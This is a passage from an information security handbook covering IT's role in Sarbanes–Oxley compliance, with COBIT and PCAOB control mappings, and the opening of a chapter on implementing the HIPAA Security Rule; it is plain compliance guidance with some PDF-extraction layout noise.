material weakness present is to design and implement an effective internal control to remediate the material weakness prior to the end of the reporting cycle and to have sufficiently tested the implemented control over a period of time such that it can be determined that the newly implemented control is effective for financial reporting.
The Role of Information Technology within Sarbanes–Oxley Legislation It is clear that this important legislation applies to the accounting principles and environment within a publicly traded organization; however, it cannot be denied that appropriately controlled and protected information technology (IT) also plays a major role in the reliability of financial reporting within an organization. As such, information technology resources must be present on the Sarbanes–Oxley compliance team to ensure that compliance objectives are supported by the organization’s infrastructure and application environments. Information technology resources can be utilized when the organization is making an effort to: • Tie systems and infrastructure that provide internal controls around financial reporting to the organization’s financial statements; this can be done in tandem with an accounting resource. • Identify threats to these identified systems and infrastructure. • Conduct a risk analysis that at least measures the likelihood that the threat will be realized, evaluates the impact on the organization as a result of that event, and calculates risk based on these two
Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide
• •
• • •
503
metrics. If the organization is more sophisticated in its measurement of risk, probability and frequency can be added to further analyze the risk involved. Create, implement, maintain, monitor, and enforce effective internal controls that protect the organization, including systems, software, and infrastructure. Create, implement, maintain, monitor, and enforce policies, procedures, and appropriate documentation that details the effective internal controls that protect the organization, including systems, software, and infrastructure. Conduct ongoing, periodic testing of the implemented internal controls to ensure that they maintain their effectiveness. Update or add appropriate internal controls as the environment surrounding financial reporting changes. Report progress and remediation efforts to senior management and the board, as required.
Information technology and security practitioners can take on the role of IT auditor (if from a third party), providing assistance to senior management during the assertion phase, or these professionals can assist the organization in the remediation of material weaknesses discovered during assessment and assertion testing phases. These roles will be discussed in detail in the material that follows.
“Information Technology” Is Pretty Broad; Where Should I Begin? In March 2004, the U.S. Public Company Accounting Oversight Board (PCAOB) approved an important auditing standard, known as Auditing Standard Number 2 and titled “An Audit of Internal Control Over Financial Reporting Performed in Conjunction with an Audit of Financial Statements.” For those of us who are not professional auditors, this standard, as stated in the IT Control Objective for Sarbanes–Oxley (the IT Governance Institute), “define(s) the IT systems that are involved in the financial reporting process and, as a result, should be considered in the design and evaluation of internal control.” These systems include any technology involved in financial transactions, such as servers, databases, network infrastructure, financial applications, and so on. Technology categories used by the PCAOB as areas for audit include program development, program changes, computer operations, and access to programs and data. Each of the PCAOB areas for audit listed above can be broken down into further detail through the use of the Control Objectives for Information and Related Technology (COBIT) framework. The relationship between the PCAOB auditing standards and the corresponding COBIT control objectives can be seen in Table 41.1 through Table 41.5. Each of the twelve COBIT control objectives used for Sarbanes–Oxley compliance also has its own detailed specifications which it must meet. These specifications can be obtained through the IT Governance Institute at www.itgi.org. A sample of the level of detail in one of the COBIT control objectives is provided in Table 41.6. It is important to note that the committees interpreting the Sarbanes–Oxley legislation recognize that no one set of recommendations fits every organization, as organizations vary by complexity, size, and other demographics. As such, the sponsoring committees urge the organization to apply internal controls appropriate to its environment. It is also highly recommended that the organization thoroughly document all its decisions regarding internal control design, implementation, and maintenance, but particularly in TABLE 41.1 PCAOB Audit for Program Development: COBIT Mapping Acquire or develop application software. Acquire technology infrastructure. Develop and maintain policies and procedures. Install and test application software and technology infrastructure. Define and manage service levels. Manage third-party services.
504
Information Security Management Handbook
TABLE 41.2 PCAOB Audit for Program Changes: COBIT Mapping Acquire or develop application software. Acquire technology infrastructure. Develop and maintain policies and procedures. Install and test application software and technology infrastructure. Manage changes. Define and manage service levels. Manage third-party services.
TABLE 41.3 PCAOB Audit for Computer Operations: COBIT Mapping Acquire or develop application software. Acquire technology infrastructure. Develop and maintain policies and procedures. Install and test application software and technology infrastructure. Define and manage service levels. Manage third-party services. Ensure systems security. Manage the configuration. Manage problems and incidents. Manage data. Manage operations.
TABLE 41.4 PCAOB Audit for Access to Programs and Data: COBIT Mapping Acquire or develop application software. Develop and maintain policies and procedures. Install and test application software and technology infrastructure. Manage changes. Define and manage service levels. Manage third-party services. Ensure systems security. Manage the configuration. Manage data. Manage operations.
the case where senior management decides not to implement a control based on business case, lack of resources, or for other reasons. An auditor required to attest to the current state of financial reporting will certainly be looking for these documents during the course of an audit.
Now That I Know the IT Control Objectives, What Do I Do with Them? Translating the IT control objectives to real-world remediation activities is not always an easy endeavor. Fortunately, tools are available that can assist the security practitioner in translating the legislative recommendations to a security-oriented framework. The ISO 17799 or the National Security Agency’s INFOSEC Assessment Methodology (NSA IAM) can be used to facilitate this process. Another method that can be used to map remediation activities to compliance requirements is to use the COBIT control objectives literally to identify like activities already taking place within the organization. This process will require interviews with business units, information technology, and senior management to uncover details
505
Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide
TABLE 41.5 COBIT Control Objectives at a Glance IT General Controls (COBIT Process)
Control Objective
Acquire or Develop Application Software
Controls exist to reasonably assure that software that is either acquired or developed effectively supports financial reporting.
Acquire Technology Infrastructure
Controls exist to reasonably assure that the technical infrastructure in the organization supports financial reporting applications. Controls exist that reasonably assure that policies, procedures, and document exist and are maintained that instruct in proper use and support the financial reporting environment. Controls exist that reasonably assure that the infrastructure performs as advertised and is able to properly support the financial reporting environment; the infrastructure must be tested and validated for proper function before being put into production Controls exist that reasonably assure that significant system changes to the financial reporting environment are authorized, tested, and validated before being put into production. Controls exist that reasonably assure that there is a common definition of “service levels,” that these service levels will be measured for quality, and that support for financial systems will be appropriately maintained. Controls exist that reasonably assure that third-party services are appropriately documented contractually; that these services are “secure, accurate, and available,” as contracted; and that these services properly support the integrity of financial reporting. Controls exist that reasonably assure that financial reporting systems and subsystems are properly secured. Controls exist that reasonably assure that all IT components are properly secured and would prevent any unauthorized changes; controls should also help to document the current state of the configuration (i.e., a configuration management plan). Controls exist that reasonably assure that problems are identified as events or incidents and are properly investigated, addressed, resolved, and recorded Controls exist that reasonably assure that any financial reporting data that is recorded, processed, and reported stays intact (that is, is complete, accurate, and valid) throughout the processing, transmission, and storage process. Controls exist that reasonably assure that any authorized programs are executed as planned and deviations from any scheduled processing are identified and thoroughly investigated.
Develop and Maintain Policies and Procedures Install and Test Application Software and Technology Infrastructure
Manage Changes
Define and Manage Service Levels
Manage Third-Party Services
Ensure Systems Security Manage the Configuration
Manage Problems and Incidents
Manage Data
Manage Operations
Applicable PCAOB General Controls Program Development Program Changes Computer Operations Access to Programs and Data Program Development Program Changes Computer Operations Program Development Program Changes Computer Operations Access to Programs and Data Program Development Program Changes Computer Operations Access to Programs and Data
Program Changes Access to Programs and Data
Program Development Program Changes Computer Operations Access to Programs and Data Program Development Program Changes Computer Operations Access to Programs and Data
Computer Operations Access to Programs and Data Computer Operations Access to Programs and Data
Computer Operations
Computer Operations Access to Programs and Data
Computer Operations Access to Programs and Data
506
Information Security Management Handbook
TABLE 41.6 COBIT Control Objectives: Acquire or Develop Application Software Goal: System software, whether purchased or built in-house, must provide reasonable assurance that it effectively supports the organization’s financial reporting requirements. Control
Evidence of Control
Security, availability, and processing integrity requirements are included in the organization’s formal process for the development and acquisition of software (i.e., the system development life cycle). Formal policies and procedures exist for development or purchase of new systems, as well as for changes made to existing systems.
Review the organization’s formal process for development and acquisition to determine whether requirements are included for security, availability, and processing integrity for financial reporting. Review the organization’s formal process for development and acquisition to determine whether formal policies and procedures for additions or changes are included for financial reporting. Review the organization’s formal process for development and acquisition to determine whether formal application controls are included for financial reporting. Review the organization’s formal process for development and acquisition to determine whether or not senior management reviews, acknowledges, and approves all acquisition and development projects, based on the direction of the company and approved technology, for financial reporting. Review the organization’s formal process for development and acquisition to determine whether end users are included in each appropriate step.
The organization’s process provides for appropriate integrity controls (i.e., accuracy, validation, authorization, and completion of transactions). The acquisition and development process should be aligned with the organization’s strategic planning process.
End users are involved in the acquisition and development process, as well as the testing of the end products, to ensure resilience and reliability of the result. Postmortems are conducted at the end of the acquisition or development process to determine whether controls are operating effectively. Procedures are in place to ensure that the process is monitored and that all relevant acquisition and development efforts adhere to the formal process.
Evaluate a sample of the organization’s formal postmortems to determine if they adhere to the stated formal process. Review multiple acquisition and development projects to determine if they adhere to the stated formal process used by the organization.
about business function as it exists on a day-to-day level within the organization. A good baseline questionnaire to use is included in Appendix B in the IT Governance Institute document referenced at the end of this chapter. Typically, business functions that are keyed to compliance are considered to be critical business functions within the organization. Evaluation of the procedures used to complete these critical business functions may shed light on mapping of the function to COBIT control objectives. An approach is to develop process narratives that can be mapped one-to-one with the control objectives. For example, suppose the reader has interviewed the resident security team and discovered how it responds to and reports security incidents within the organization. The following details related to this response are revealed: • Senior management has been involved with the response team and approves any deliverables the team produces. • Senior management views the incident response effort as pivotal to the success of the organization, not just as a means to comply with Sarbanes-Oxley. • As such, the organization, with the approval of senior management, has purchased an incident tracking system and has implemented it. • A formal process has been documented for reporting and responding to an incident in the organization; it is available on the corporate intranet, and all staff have been trained on its use and their responsibilities for reporting incidents. • The incident tracking system provides an audit trail on every event or incident that is logged (note that an event such as a hard drive malfunctioning is not necessarily a security incident; however,
Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide
507
inventory, replacement time, and other demographics may still be tracked if entered into a system such as the one described above). Logs are retained for seven years in a secure off-site storage facility. • The organization contracts with outside experts to assist in response that is outside the skill set of internal staff; these experts are accounted for in the incident response and reporting process. • Senior management is provided with reports of all security incidents; senior management, in turn, reports all security incidents to its board, along with response specifics and resolution to the security incident. Upon review of the COBIT control objectives for “manage problems and incidents,” it is apparent that the organization has exceeded the requirements listed in the control objectives. The information received during this interview must be corroborated and evidence necessary to support the statements must be gathered; however, if everything is in order when the validation is completed, then the interviewer may assume that no material weaknesses are present for this particular COBIT control objective; only eleven to go! Why would the organization want to exceed requirements for Sarbanes–Oxley compliance? Many organizations understand the value of doing more than the minimum necessary to meet legislative requirements. Often, there is substantive business value in exceeding legislative requirements. Let us take another look at the second to last item in the incident response process we just discussed; that is, the organization utilizes third-party experts to assist in response and reporting that are outside the skill set of internal resources engaged in this critical business function. What might happen if these expert resources were not available to the organization in time of need? Imagine that the organization is breached by a knowledgeable insider and that information is being copied and disclosed from critical systems. Without experts to assist in containment of the incident, eradication of any tools or malicious software that may have been used for the exploit, recovery of the system to normal working order, and preservation of any evidence throughout the incident that can lead back to the perpetrator and possibly the method of attack, the organization may have no method for recovery of critical data, systems or the evidence required to promote successful prosecution, if necessary. To take this a step further, suppose some of the data represents personally identifiable data, and this organization does business around the world, with its corporate headquarters and largest customer base being located in California. The disclosure alone mandates that everyone whose information was affected must be notified (SB 1386); if one of these affected parties goes to the press … Many organizations have come to understand that security and compliance objectives are valuable to the organization as whole and, as such, the fulfillment of these objectives is applied to the business case, in general, not just to the narrow interpretation of a particular piece of legislation. Doing so may, in some cases, exceed the requirements for the legislation, but will nearly always reap rewards (in the scope of protection) for the organization itself. That said, it is also important for the organization to periodically assess its internal controls so that controls applied in areas of low risk, whether they are simply applied to financial reporting or to the organization as a whole, or “over-applied” to any area can be “right-sized” to save the organization resources, dollars, and time.
The Assertion and Attestation Process Step One: Document the Financial Reporting Environment Individuals in an IT or security role may work as part of a team with a financial resource. This approach works well, as a team focus provides comprehensive coverage of the financial reporting environment. Keeping in mind the earlier tasks that may be assigned to an IT resource on a Sarbanes–Oxley project, it is the job of the IT or security resource to provide sufficient documented information and evidence around the control environment, as it relates to the technology that supports financial processing. This can be accomplished either by diagramming or documenting the information technology processes that
508
Information Security Management Handbook
are present within the organization and merging this information with processes that are diagrammed or documented by the financial resource. For example, a financial resource is documenting the process by which a particular financial application performs its critical business function. The financial resource is very familiar with the accounting processes that occur within or are facilitated by the application; however, this person is unaware of the IT processes that support the application and draws into the documentation a black box labeled “Something happens in IT.” It then becomes the IT or security resource’s job to properly document the functions and controls that live inside the “black box.” Performing the documentation of the financial reporting environment in this way ensures that the financial and IT functions are tied together from the beginning of the documentation process. Other mechanisms are available to accomplish this task; however, a Sarbanes team should never lose sight of the fact that the IT results should correspond and lend support to the financial functions that rest upon the technology. When the documentation is completed by both the financial resource and the IT or security resource, a joint report or separate reports can be issued to the organization, along with documentation that supports the effort and outlines the work done to date.
Step Two: Work with the Management Assertion Team To Uncover Any Material Weaknesses When an organization is prepared for assertion, it typically contracts with an outside auditing partner to facilitate the testing of its internal environment. That distinction is very important; this auditing partner is considered an internal resource. Testing results are used by the organization to remediate any material weaknesses found in the internal control environment surrounding financial reporting. The IT or security resource may assist the internal auditing team in a number of ways: The resource may provide details about the current state of IT, security, and internal controls within the financial reporting environment of the organization. These details can be obtained through a survey based on the PCAOB standards or the twelve COBIT control objectives cited for Sarbanes–Oxley compliance and is typically provided to the IT or security resource for completion. Although auditors may be more comfortable using the PCAOB standards, organizations may find the COBIT control objectives easier to understand and marry with compliance objectives. Either approach can work in an organization. • The resource may provide evidence for the assertion team to test. • The resource may serve as a liaison between the assertion team and the information technology departments present within the organization. • The resource may assist in remediation of material weaknesses as the assertion progresses; this saves the organization and the assertion team time and effort later. • The resource may be called upon to provide appropriate documentation of the effort in IT. • The resource may be asked to participate in meetings with the attestation (external auditing) partner, in order to keep the partner abreast of activities ongoing and to adapt deliverables, if requested by the attestation team, so the attestation phase is not lengthened.
Step Three: Work with the Assertion and Attestation Teams To Facilitate Attestation of the Organization’s Financial Reporting Environment It is important to note that not all IT or security resources will be asked to participate in the assertion and attestation teams; however, they may be called upon at any time to participate in any function the teams require, with the exception of performing as an auditor. In this case, segregation of duties and, as such, independence would be violated. IT or security resources, who may be called upon to perform IT audits as a third party, will likely not be called upon to serve as a remediation resource. Attestation teams function much like assertion teams; that is, they test the internal controls environment surrounding financial reporting to determine if any material weaknesses can be found. They also prepare an attestation report detailing their findings. This report is provided to senior management and their designees. The PCAOB Audit Standard Number 2 is used to perform this attestation.
Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide
509
The Compliance Roadmap Achieving compliance is a highly interdependent, business-oriented endeavor. IT must align itself with the business goals of the organization to have any hope of successfully navigating the compliance and control objectives detailed here. As stated in the IT control objectives for Sarbanes–Oxley, steps in developing a proper roadmap include: • • • • • • • • •
Planning and scoping Performing a risk assessment Identifying significant accounts and controls Formalizing and documenting control design Evaluating the control design Testing the control design for effectiveness Identifying and implementing remediation of any control deficiencies Documenting processes and results Building sustainability
For those readers who are practicing security professionals, this roadmap should look familiar. Indeed, it is similar to the design, implementation, and maintenance of sustainable security within an environment. As such, it is appropriate to utilize industry best practice tools to conduct these tasks. For example, the NIST Special Publication 800:30 (Risk Management Guide for Information Technology Systems) can be used to facilitate the risk assessment within the organization. Identifying significant accounts and controls is akin to identification of criticality within the environment (hence, “significant”). It is likely that this process will be familiar to any IT professional with life cycle knowledge. That said, it is clear that this path can also be taken to implement proper control environments within the organization in areas outside of financial reporting.
References Information Systems Audit and Control Association (ISACA), www.isaca.org. International Standards Organization (ISO) 17799/British Standard (BS) 7799, http://www.iso-17799. com. ITGI. 2003. IT Control Objectives for Sarbanes–Oxley: The Importance of IT in the Design, Implementation and Sustainability of Internal Control Over Disclosure and Financial Reporting. The IT Governance Institute, www.itgi.org. National Institute of Standards and Technology (NIST), www.nist.gov. National Security Agency Information Assurance Methodology (NSA IAM), www.nsa.gov. Sarbanes–Oxley Act, www.aicpa.org.
This page intentionally left blank
42 Health Insurance Portability and Accountability Act Security Rule Lynda L. McGhie The most effective and defensible information security program is one that strictly adheres to a disciplined risk management methodology. Legal authorities warn that laws and regulations regarding information protection and privacy will continue to evolve over the next decade. These rules will continue to dictate how firms and government agencies protect and safeguard customer privacy information. The most effective and efficient way to guarantee compliance to these laws and regulations is through the adoption of risk management systems. Such a framework will provide a foundational information security management system leading to compliance and risk reduction and mitigation. Many functional areas within an organization practice risk management and deal with various aspects of risk management, including information security, business continuity planning (BCP), disaster recovery planning (DRP), insurance, finance, and internal auditing, to name a few. Risk management is the critical first step leading to a successful and compliant implementation of the HIPAA Security Rule. Security requirements imposed and mandated by the federal government have, for decades, resulted in the development of guidance for agencies, contractors, suppliers, and customers. These requirements, recommendations, and guidelines have proven over and over again to be practical baselines for legal and regulatory compliance. An organization that follows the security and privacy roadmaps provided by the National Institute of Standards and Technology (NIST), Federal Information Processing Standards (FIPS), and International Standards Organization (ISO) 17799 will greatly enhance its ability to comply with existing and future legal and regulatory requirements, and that organization’s information security and privacy programs will be compliant and sound. Additionally, implementations based on these standards will ensure the sound practice of risk management up front and throughout the security and compliance process. It is important to acknowledge that this guidance is practical and applicable to public and private enterprises, as well as government and commercial entities. It just makes good sense. A growing number of federal and state laws and regulations address information protection, privacy, management, and reporting practices, including data retention requirements. Many of these laws and regulations have common and similar requirements and controls. Many recommend or incorporate the audit and control methodologies of the Control Objectives for Information and Related Technology (COBIT) and Committee of Sponsoring Organizations (COSO), as well as other accepted information security standards and guidelines. Integration across these laws and regulations ensures synchronization and consistency of approach and controls. Additionally, a return on investment (ROI) can be demonstrated
511
512
Information Security Management Handbook
when one control or process satisfies multiple security requirements, laws, and regulations while streamlining and enhancing administration and technical processes. Additionally, automation and state-of-theart security tools can reduce overall costs for information security and compliance across the enterprise.
Mandate On August 21, 1996, President Clinton signed into law the Health Insurance Portability and Accountability Act (HIPAA) of 1996, Public Law 104-191. In so doing, the healthcare industry was given a farreaching and complex mandate that would impact every aspect of health care in the United States. After much debate and a major rewrite of the Notice of Proposed Rule Making (NPRM), the final Security Rule was published in the Federal Register on February 20, 2003. Covered entities were required to implement reasonable administrative, physical, and technical safeguards to protect the confidentiality, integrity, and availability of electronic protected health information by April 20, 2005 (2006 for small health plans). The HIPAA Security Rule specifically focuses on the safeguarding of electronic protected health information (ePHI). Only companies producing, utilizing, and storing ePHI are defined as “covered entities.” Covered entities include health plans, healthcare clearinghouses, healthcare providers who transmit any electronic information in electronic form in connection with covered transactions, and Medicare prescription drug card sponsors. Although these companies are typically within the healthcare business, other entities such as the federal government and higher education may also utilize ePHI and would therefore also be required to comply with the HIPAA rule. The HIPAA Security Rule specifically focuses on protecting the confidentiality, integrity, and availability of ePHI as defined and supported in the rule itself: • Confidentiality is the property that data or information is not made available or disclosed to unauthorized persons or processes. • Integrity is the property that data or information have not been altered or destroyed in an unauthorized manner. • Availability is the property that data or information is accessible and useable upon demand by an authorized person. The ePHI that a covered entity creates, receives, maintains, or transmits must be protected against reasonably anticipated threats, hazards, and impermissible uses or disclosures. Covered entities must also protect against reasonably anticipated uses or disclosures of such information that are not permitted by the Privacy Rule.
HIPAA Security Rule Overview The HIPAA Security Rule defines the standards in generic terms and provides little guidance on how to implement them. The security standards are based on three concepts: • Flexibility and scalability — The standards must be applicable from the smallest provider to the largest health plan. • Comprehensiveness — The standards must cover all aspects of security, behavioral as well as technical (process oriented). • Technology neutrality — As technology changes, the standards remain constant It would be helpful to review and understand information security terminology prior to interpreting or seeking to understand the HIPAA Security Rule. The Security Rule is divided into six main sections, each of which includes standards and implementation specifications that a covered entity must address: • Security standards general rules include the general requirements that all covered entities must meet; establishes flexibility of approach; identifies standards and implementation specifications
Health Insurance Portability and Accountability Act Security Rule
•
•
• •
•
513
required and addressable; outlines decisions a covered entity must make regarding addressable implementation specifications; and requires maintenance of security measures to continue reasonable and appropriate protection of electronic protected health information. Administrative safeguards are defined in the Security Rule as the administrative actions, policies, and procedures to manage the selection, development, implementation, and maintenance of security measures to protect electronic protected health information and to manage the conduct of the covered entity’s workforce in relation to protection of that information. Physical safeguards are defined as the physical measures, policies, and procedures to protect a covered entity’s electronic information systems and related buildings and equipment from natural environmental hazards and unauthorized intrusion. Technical safeguards are defined as the technology and the policies and procedures for its use that protect electronic protected health information and control access to it. Organizational requirements include standards for business associate contracts and other arrangements, including memoranda of understanding between a covered entity and a business associate when both entities are government organizations, as well as requirements for group health plans. Policies and procedures and documentation requirements require implementation of reasonable and appropriate policies and procedures to comply with the standards, implementation specifications, and other requirements of the Security Rule; maintenance of written (which may or may not be electronic) documentation or records that include policies, procedures, actions, activities, or assessments required by the Security Rule; and retention, availability, and update requirements for the documentation.
Each Security Rule section contains standards and implementation specifications. A covered entity is required to comply with all standards of the Security Rule with respect to all ePHI. Many of the standards also include implementation specifications. An implementation specification is a detailed description of the method or approach covered entities can use to meet a particular standard. Implementation specifications are either required or addressable; however, regardless of whether or not a standard includes implementation specifications, covered entities must comply with each standard. • A required implementation specification is similar to a standard in that a covered entity must comply with it. • For addressable implementation specifications, covered entities must perform an assessment to determine whether the implementation specification is a reasonable and appropriate safeguard for implementation in the covered entity’s environment. In general, after performing the assessment, the organization can implement an equivalent alternative measure that allows the entity to comply with the standard, or it may not implement the addressable specification or any alternative measures if equivalent measures are not reasonable and appropriate within its environment. Covered entities are required to document these assessments and all decisions. Table 42.1 lists the standards and implementation specifications within the Administrative, Physical, and Technical Safeguards sections of the Security Rule. The table is organized according to the categorization of standards within each of the safeguard sections in the Security Rule: • Column 1 lists the Security Rule standards. • Column 2 provides the regulatory citation to the appropriate section of the rule. • Column 3 lists the implementation specifications associated with the standard, if any exist, and designates the specification as required or addressable. Organizations must determine whether anyone within the company is qualified to interpret the HIPAA Security Rule or if this phase of the project should be outsourced. Perhaps an internal crossfunctional team could accomplish this critical initial task. Representatives from the legal, privacy, compliance, security, and technology departments should be able to research the HIPAA Security Rule and propose an interpretation and an implementation of the rule tailored to the organization. Many
514
Information Security Management Handbook
TABLE 42.1 HIPAA Security Rule Standards and Implementation Specifications Standard
Section
Administrative Safeguards Security Management Process
Evaluation Business Associate Contracts and Other Arrangements
164.308(a)(8) 164.308(b)(1)
Physical Safeguards Facility Access Controls
164.310(a)(1)
Workstation Use Device and Media Controls
164.310(b) 164.310(d)(1)
Technical Safeguards Access Control
164.312(a)(1)
Audit Controls Integrity
164.312(b) 164.312(c)(1)
Person or Entity Authentication Transmission Security
164.312(d) 164.312(e)(1)
Implementation Specifications (R = Required; A = Addressable)
Risk analysis (R) Sanction policy (R) Risk management (R) Activity information system activity review (R) None Authorization and supervision (A) Workforce clearance procedures (A) Termination procedures (A) Isolating healthcare clearinghouse (R) Access authorization (A) Access establishment and modifications (A) Security reminders (A) Protection from malicious software (A) Log-in monitoring (A) Password management (A) Response and reporting (R) Data backup plan (R) Disaster recovery plan (R) Emergency mode operation plan (R) Testing and revision procedures (A) Applications and data criticality analysis (A) None Written contract or other arrangement (R)
Contingency operations (A) Facility security plan (A) Access control and validation process (A) Maintenance records (A) None Disposal (R) Media reuse (R) Accountability (A) Data backup and storage (A) Unique user identification (R) Emergency access procedure (R) Automatic log-off (A) Encryption and decryption (A) None Mechanism to authenticate electronic protected health information (A) None Integrity controls (A) Encryption (A)
reference documents are available from the federal government and professional organizations to assist in this task. Many vendors and legal and accounting or audit firms sponsor information-sharing events regarding HIPAA compliance. Also, vertical industry focus groups have formed to share best practices and Security Rule interpretations.
Health Insurance Portability and Accountability Act Security Rule
515
It is absolutely fundamental to an organization’s success to quickly gain consensus on interpretation of the rule and its application to the organization’s unique healthcare environment. The quicker an organization can agree on an interpretation of the rule (what the rule is actually requiring the covered entity to do), the quicker the organization can document and solidify its approach, direction, and implementation plan for compliance. The plan should include only what is viable, practical, and required for that particular organization. This interpretation will allow the organization to establish the scope of the project and its compliance program. It is critical that, when this interpretation and its resultant requirements and controls are identified and agreed upon, the project team not revisit, second guess, or continue to interpret the rule. When this foundational step is complete, the covered entity must not continue to debate the interpretation of the rule or the project requirements. It is important to document the process and the decisions made during this phase. It is at this point in the process when the covered entity typically gets cold feet, as the scope of the project and the required resources for implementation become clear. It is apparent that the required controls must be implemented, but what about the addressable controls? Of the 42 implementation specifications, 21 are considered to be addressable. To meet the addressable implementation specifications, a covered entity must first assess whether each implementation specification is a reasonable and appropriate safeguard in its environment. The analysis must take into consideration the likely contribution of each control to protecting the entity’s electronic protected health information. Remember, organizations should implement a specification only if it is reasonable and appropriate for the covered entity. If implementing the specification is not reasonable and appropriate, the organization must document why and implement an equivalent alternative measure that is reasonable and appropriate.
Critical Components A covered entity should very quickly establish a HIPAA compliance governance system with documented and supporting processes. The plan should identify executive sponsorship and define roles and responsibilities. The executives should be high up in the organization and preferably direct reports of the chief executive officer (CEO) or members of the board of directors. These individuals will not only provide governance and oversight but also determine financial allocations, project deliverables, and compliance variables. These same individuals may also be part of the executive advisory board or steering committee. Other functional and business area representatives may also be added to this advisory board, including the chief financial officer (CFO), chief legal representative, procurement officer, chief information officer (CIO), chief information security officer (CISO), chief privacy officer, chief compliance officer, and chief technology officer (CTO). It is suggested that the executive vice president for each business area also be included on the board. Each of these members should be allocated one vote, and majority rules for approvals and decision making. These key individuals are considered stakeholders in the success of the project as well as overall compliance to the HIPAA Security Rule. Key external stakeholders might include business partners or even customers. In support of the advisory board and the governing process, the organization should define and initiate report, status, and metric processes. The board should meet at regular intervals, at least on a monthly basis, during peak activity such as project initiation, achievement of major milestones, project approvals, financial approvals, and problem resolution. Each meeting should follow a standard agenda with reports from functional areas and business areas. The business areas should report on progress and deliverables for their assigned areas of responsibility. The functional areas should report on the action items and tasks assigned to them. The board meeting should provide a forum not only for information sharing and reporting but also for decision making and approval. It will be the role of the project director to track and report on the progress of the project, to prepare the meeting materials, and to collect status and reporting information from the team. The project director will also be responsible for metrics and metrics tracking and reporting. Selection of the project director is critical to the success of the project.
516
Information Security Management Handbook
Centralized and Decentralized Roles and Responsibilities Separate companies within a corporation may be separate covered entities in certain situations, but the corporation itself is the highest level covered entity. Although the executive officers, board of directors, and CISO are all culpable for HIPAA Security Rule compliance, the HIPAA documentation set must clearly outline and define separate roles and responsibilities. Some corporations that have decentralized business units or companies that manage their own information systems may want to appoint decentralized security officials who will have a dotted line responsibility to the CISO for implementing HIPAA Security Rule compliance. This team will be responsible for implementing the enterprise information security program, defining and implementing the enterprise information security policies and procedures, and implementing technical and administrative controls for HIPAA Security Rule compliance.
Identify and Define the Project Team Several approaches can be used to assemble a HIPAA Security Rule compliance and implementation team. Resources may be derived from existing staff or supplemented with external contractors or even compliance-type organizations. It is best to conduct an assessment of existing resources, conduct a gap analysis, and derive a staffing and resource plan. In general, team representatives should include at least legal, compliance, security, privacy, technology, and business personnel. Individual organizations may require additional representation such as human resources, finance, or audit. The business representatives may or may not be part of this core team. Two separate teams can meet specific to their areas of responsibilities and their roles in the project; the two teams would then join when issues of crossrepresentation arise. As with any project or process, the smaller and more representative the team, the more efficient and cost-effective the team will be and hence the project outcome. It is suggested that a small core team as well as a larger broader more representative team be identified. It is critical that roles and responsibilities be established and agreed to at the onset. The success of the project depends on achieving communication, understanding, and approval and buy-in throughout. Each organization will have to determine what existing tools and processes can be used to achieve these objectives and then define additive processes and tools for HIPAA Security Rule compliance. The main objective in the definition of these working teams is to ensure representation, to empower and enable the team, to streamline the process, and to eliminate bureaucracy to the extent feasible. Teams should adhere to strict project management and systems engineering processes.
Develop and Implement a Communication Plan A thorough, multifaceted, multimedia HIPAA Security Rule communication plan should be developed early on in the process. Tailored communications should be developed and deployed specific to each phase of the project with the goal of keeping all stakeholders, team members, vendors, contractors, customers, business partners, and workforce members well informed. Communications should include newsletters, regularly scheduled and distributed status reports, and informational Web sites with project and team information and other alerts and bulletins specific to the project. The Web site should include a question box, FAQs, and other ways for workforce members to ask questions and receive information regarding what is coming up and what is changing. The communication plan should adopt a sales and marketing approach to point out and illustrate the outcomes and benefits of the project and compliance. Communication should occur often and on a regular basis; it should be designed to share progress, metrics, achievement of major and minor supporting milestones and any and all ROI, cost–benefits, and other gains achieved through security improvements such as administration simplification.
Health Insurance Portability and Accountability Act Security Rule
517
Define Project Scope It is critically important when initiating such a project to propose and agree on the scope of the project; for example, what relevant information systems fall within the scope of the project? In order to determine this, the covered entity must identify all information systems that store or transmit ePHI. This includes all hardware and software used to collect, store, process, and transmit ePHI. To accomplish this task, the project director and team should develop a survey or inventory matrix template. The template should be distributed to the business team members and the functional team members and will be used to define major business units and functional units. The project director should assign responsibility for rolling up and summarizing the findings of the survey. This summary of the collected information will be included in a report presented to the project team and, following their concurrence, to the executive steering committee. The output of this process and this report will define the scope of the project and the systems, applications, network, storage, databases, etc. that house ePHI and therefore require compliant controls. A companion process, or tool, that can assist in the definition of scope is an analysis of the organization’s business functions. A common goal of such an analysis is definition of ownership and controls over these information systems. This information is critical to project initialization, defining project scope, project implementation, and ongoing compliance. At a minimum, policies, procedures, and processes should be implemented to ensure that this information is updated regularly and that the information is available for audit and compliance. In addition to documentation and inventories of information, ePHI, and applications, system and network configurations should be documented, including internal and external connections. This is particularly critical for those systems processing ePHI. The reason why all systems should be documented, controlled, and managed is that over time it is difficult to isolate and control the flow of ePHI. To the extent possible, practical and affordable HIPAA Security Rule compliance should be integrated into the overall security system and program.
Security Rule Matrix A Security Rule matrix should be mapped to HIPAA Security Rule requirements, policies, guidelines, actions, and ownership, including HIPAA Security Rule standards and implementation specifications. Our earlier discussion on the HIPAA Security Rule introduced the concept of addressable control mechanisms, including administrative, physical, and technical safeguards. Table 42.1 can be used to create the Security Rule matrix, which adds additional columns to specify controls and solutions. It can also be used to incorporate risk assessment questions and surveys. The benefit of building on information initiated from the HIPAA Security Rule interpretation and, further, decomposition of its requirements is having a single data repository with supporting project documentation for audit and compliance verification. This baseline spreadsheet, as it evolves through each phase of the HIPAA security project, supplements project documentation. Subsequent phases can add additional columns, including risk questions, gap analysis findings, and administrative, technical, and physical controls that must be augmented, enhanced, or initiated for HIPAA compliance. Table 42.2 is an example of how to build on previous tables and information collected as the HIPAA security project evolves. The previous spreadsheet (Table 42.1) included standards, citation sections, implementation specifications, and required/addressable categories. This spreadsheet adds a column for solutions and supporting methodologies for the solutions. An organization can create its own matrix or spreadsheet for this phase or can continue to build on this sample. Additional columns can be added that are specific to an organization’s unique requirements, such as columns indicating existing controls and “to be” controls. Note that organizations should continue to build on this spreadsheet and matrix as risk assessment and gap analysis information is received, organized, and consolidated into meaningful data to be used to update the project plan.
Security risks come in many forms and can be both internal and external. IDS enables covered entities to monitor network activity to determine what exposures may be created. Supplemental scanning and vulnerability tools support discovery and provide input to remediation.
